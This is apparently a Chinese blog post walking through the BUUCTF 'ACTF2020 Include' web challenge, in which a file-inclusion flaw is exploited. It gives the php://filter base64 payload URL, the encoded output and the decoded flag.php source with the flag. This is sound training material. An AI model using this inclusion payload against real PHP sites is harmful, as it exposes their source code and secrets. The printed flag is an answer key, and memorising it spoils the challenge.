[BUUCTF][Web][ACTF2020 新生赛]Include 1

打开靶机对应的url
显示一个tips 超链接
点击访问超链接,对应Url为
http://469398f2-5677-4270-a4a4-55c5e4a7504a.node4.buuoj.cn:81/?file=flag.php
显示信息Can you find out the flag, 右键查看源码没有任何内容
猜测flag在flag.php 源码中
尝试通过php伪协议查出源码
考察知识点:
php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

【php://协议】
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

构造url(使用base64编码原因,防止文件被当做php被执行)

http://469398f2-5677-4270-a4a4-55c5e4a7504a.node4.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=flag.php

得到

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZmQ3ZjhmYTAtNjJjZi00NTVlLThmYTMtNWNhMTY2MDJkNTdifQo=

base64转码得到

<?php
echo "Can you find out the flag?";
//flag{fd7f8fa0-62cf-455e-8fa3-5ca16602d57b}

Boom

posted @ 2022-12-07 20:07  明月照江江  阅读(59)  评论(0编辑  收藏  举报